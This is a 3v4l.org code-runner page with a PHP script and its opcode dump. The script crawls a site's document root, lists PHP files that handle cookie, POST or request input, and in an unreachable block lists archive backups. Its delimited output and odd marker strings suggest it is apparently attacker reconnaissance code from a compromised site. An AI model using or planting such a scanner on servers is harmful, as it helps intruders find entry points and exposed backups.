3v4l.org

run code in 300+ PHP versions simultaneously
<?php $files = array(); $it = new RecursiveDirectoryIterator($_SERVER['DOCUMENT_ROOT']); $display = Array ( 'php' ); $search = Array('_COOKIE','_POST','_REQUEST'); $searchff = Array('amads','window98originalmain','ofertaexpressa','ifadulakvefin','root464providecatch','ark-btc','avanquest','poolunbelievably'); $files_ar = array(); echo "1<<llll>>"; foreach(new RecursiveIteratorIterator($it) as $file) { if(strpos($file->getFilename(),".php") == false) continue; $tt = file_get_contents($file->getPathname()); $q = strposa($tt, $search); if($q != ""){ $n = str_replace($_SERVER['DOCUMENT_ROOT'],'',$file->getPathname()); echo $q."|".$n."|aa;;"; } } echo "<<llll>>1<<llll>>1"; die(); $a = scandir($_SERVER['DOCUMENT_ROOT']); $search = Array('.zip','gzip','.tar','.rar','.7z'); echo "1<<llll>>"; foreach($a as $f){ $n = str_replace($_SERVER['DOCUMENT_ROOT'],'',$f); if(is_file($f)){ $q = strposa($n, $search); if($q != "" && $n != ""){ echo $q."|".$n."|aa;;"; } } } echo "<<llll>>1<<llll>>1"; function strposa($haystack, $needle, $offset=0) { if(!is_array($needle)) $needle = array($needle); $strok = ""; foreach($needle as $query) { if(strpos($haystack, $query, $offset) !== false) { // if (preg_match('/count[(].*?[=][=][ |]?8/', $haystack)) $strok .= $query."|"; } } return $strok; } die();
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 77) Position 1 = 17, Position 2 = 55
Branch analysis from position: 17
2 jumps found. (Code = 78) Position 1 = 18, Position 2 = 55
Branch analysis from position: 18
2 jumps found. (Code = 43) Position 1 = 26, Position 2 = 27
Branch analysis from position: 26
1 jumps found. (Code = 42) Position 1 = 17
Branch analysis from position: 17
Branch analysis from position: 27
2 jumps found. (Code = 43) Position 1 = 40, Position 2 = 54
Branch analysis from position: 40
1 jumps found. (Code = 42) Position 1 = 17
Branch analysis from position: 17
Branch analysis from position: 54
Branch analysis from position: 55
1 jumps found. (Code = 79) Position 1 = -2
Branch analysis from position: 55
filename:       /in/MdDEL
function name:  (null)
number of ops:  99
compiled vars:  !0 = $files, !1 = $it, !2 = $display, !3 = $search, !4 = $searchff, !5 = $files_ar, !6 = $file, !7 = $tt, !8 = $q, !9 = $n, !10 = $a, !11 = $f
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    3     0  E >   ASSIGN                                                   !0, <array>
    4     1        NEW                                              $13     'RecursiveDirectoryIterator'
          2        CHECK_FUNC_ARG                                           
          3        FETCH_FUNC_ARG               global              $14     '_SERVER'
          4        FETCH_DIM_FUNC_ARG                               $15     $14, 'DOCUMENT_ROOT'
          5        SEND_FUNC_ARG                                            $15
          6        DO_FCALL                                      0          
          7        ASSIGN                                                   !1, $13
    5     8        ASSIGN                                                   !2, <array>
    7     9        ASSIGN                                                   !3, <array>
    9    10        ASSIGN                                                   !4, <array>
   10    11        ASSIGN                                                   !5, <array>
   11    12        ECHO                                                     '1%3C%3Cllll%3E%3E'
   12    13        NEW                                              $22     'RecursiveIteratorIterator'
         14        SEND_VAR_EX                                              !1
         15        DO_FCALL                                      0          
         16      > FE_RESET_R                                       $24     $22, ->55
         17    > > FE_FETCH_R                                               $24, !6, ->55
   16    18    >   INIT_FCALL                                               'strpos'
         19        INIT_METHOD_CALL                                         !6, 'getFilename'
         20        DO_FCALL                                      0  $25     
         21        SEND_VAR                                                 $25
         22        SEND_VAL                                                 '.php'
         23        DO_ICALL                                         $26     
         24        BOOL_NOT                                         ~27     $26
         25      > JMPZ                                                     ~27, ->27
         26    > > JMP                                                      ->17
   19    27    >   INIT_FCALL                                               'file_get_contents'
         28        INIT_METHOD_CALL                                         !6, 'getPathname'
         29        DO_FCALL                                      0  $28     
         30        SEND_VAR                                                 $28
         31        DO_ICALL                                         $29     
         32        ASSIGN                                                   !7, $29
   20    33        INIT_FCALL_BY_NAME                                       'strposa'
         34        SEND_VAR_EX                                              !7
         35        SEND_VAR_EX                                              !3
         36        DO_FCALL                                      0  $31     
         37        ASSIGN                                                   !8, $31
   21    38        IS_NOT_EQUAL                                             !8, ''
         39      > JMPZ                                                     ~33, ->54
   23    40    >   INIT_FCALL                                               'str_replace'
         41        FETCH_R                      global              ~34     '_SERVER'
         42        FETCH_DIM_R                                      ~35     ~34, 'DOCUMENT_ROOT'
         43        SEND_VAL                                                 ~35
         44        SEND_VAL                                                 ''
         45        INIT_METHOD_CALL                                         !6, 'getPathname'
         46        DO_FCALL                                      0  $36     
         47        SEND_VAR                                                 $36
         48        DO_ICALL                                         $37     
         49        ASSIGN                                                   !9, $37
   25    50        CONCAT                                           ~39     !8, '%7C'
         51        CONCAT                                           ~40     ~39, !9
         52        CONCAT                                           ~41     ~40, '%7Caa%3B%3B'
         53        ECHO                                                     ~41
   12    54    > > JMP                                                      ->17
         55    >   FE_FREE                                                  $24
   31    56        ECHO                                                     '%3C%3Cllll%3E%3E1%3C%3Cllll%3E%3E1'
   32    57      > EXIT                                                     
   36    58*       INIT_FCALL                                               'scandir'
         59*       FETCH_R                      global              ~42     '_SERVER'
         60*       FETCH_DIM_R                                      ~43     ~42, 'DOCUMENT_ROOT'
         61*       SEND_VAL                                                 ~43
         62*       DO_ICALL                                         $44     
         63*       ASSIGN                                                   !10, $44
   37    64*       ASSIGN                                                   !3, <array>
   38    65*       ECHO                                                     '1%3C%3Cllll%3E%3E'
   40    66*       FE_RESET_R                                       $47     !10, ->95
         67*       FE_FETCH_R                                               $47, !11, ->95
   41    68*       INIT_FCALL                                               'str_replace'
         69*       FETCH_R                      global              ~48     '_SERVER'
         70*       FETCH_DIM_R                                      ~49     ~48, 'DOCUMENT_ROOT'
         71*       SEND_VAL                                                 ~49
         72*       SEND_VAL                                                 ''
         73*       SEND_VAR                                                 !11
         74*       DO_ICALL                                         $50     
         75*       ASSIGN                                                   !9, $50
   42    76*       INIT_FCALL                                               'is_file'
         77*       SEND_VAR                                                 !11
         78*       DO_ICALL                                         $52     
         79*       JMPZ                                                     $52, ->94
   43    80*       INIT_FCALL_BY_NAME                                       'strposa'
         81*       SEND_VAR_EX                                              !9
         82*       SEND_VAR_EX                                              !3
         83*       DO_FCALL                                      0  $53     
         84*       ASSIGN                                                   !8, $53
   44    85*       IS_NOT_EQUAL                                     ~55     !8, ''
         86*       JMPZ_EX                                          ~55     ~55, ->89
         87*       IS_NOT_EQUAL                                     ~56     !9, ''
         88*       BOOL                                             ~55     ~56
         89*       JMPZ                                                     ~55, ->94
   45    90*       CONCAT                                           ~57     !8, '%7C'
         91*       CONCAT                                           ~58     ~57, !9
         92*       CONCAT                                           ~59     ~58, '%7Caa%3B%3B'
         93*       ECHO                                                     ~59
   40    94*       JMP                                                      ->67
         95*       FE_FREE                                                  $47
   50    96*       ECHO                                                     '%3C%3Cllll%3E%3E1%3C%3Cllll%3E%3E1'
   66    97*       EXIT                                                     
         98*     > RETURN                                                   1

Function strposa:
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 6, Position 2 = 8
Branch analysis from position: 6
2 jumps found. (Code = 77) Position 1 = 10, Position 2 = 21
Branch analysis from position: 10
2 jumps found. (Code = 78) Position 1 = 11, Position 2 = 21
Branch analysis from position: 11
2 jumps found. (Code = 43) Position 1 = 18, Position 2 = 20
Branch analysis from position: 18
1 jumps found. (Code = 42) Position 1 = 10
Branch analysis from position: 10
Branch analysis from position: 20
Branch analysis from position: 21
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 21
Branch analysis from position: 8
filename:       /in/MdDEL
function name:  strposa
number of ops:  24
compiled vars:  !0 = $haystack, !1 = $needle, !2 = $offset, !3 = $strok, !4 = $query
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   52     0  E >   RECV                                             !0      
          1        RECV                                             !1      
          2        RECV_INIT                                        !2      0
   53     3        TYPE_CHECK                                  128  ~5      !1
          4        BOOL_NOT                                         ~6      ~5
          5      > JMPZ                                                     ~6, ->8
          6    >   INIT_ARRAY                                       ~7      !1
          7        ASSIGN                                                   !1, ~7
   54     8    >   ASSIGN                                                   !3, ''
   55     9      > FE_RESET_R                                       $10     !1, ->21
         10    > > FE_FETCH_R                                               $10, !4, ->21
   56    11    >   INIT_FCALL                                               'strpos'
         12        SEND_VAR                                                 !0
         13        SEND_VAR                                                 !4
         14        SEND_VAR                                                 !2
         15        DO_ICALL                                         $11     
         16        TYPE_CHECK                                  1018          $11
         17      > JMPZ                                                     ~12, ->20
   59    18    >   CONCAT                                           ~13     !4, '%7C'
         19        ASSIGN_OP                                     8          !3, ~13
   55    20    > > JMP                                                      ->10
         21    >   FE_FREE                                                  $10
   64    22      > RETURN                                                   !3
   65    23*     > RETURN                                                   null

End of function strposa

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
157.75 ms | 1408 KiB | 23 Q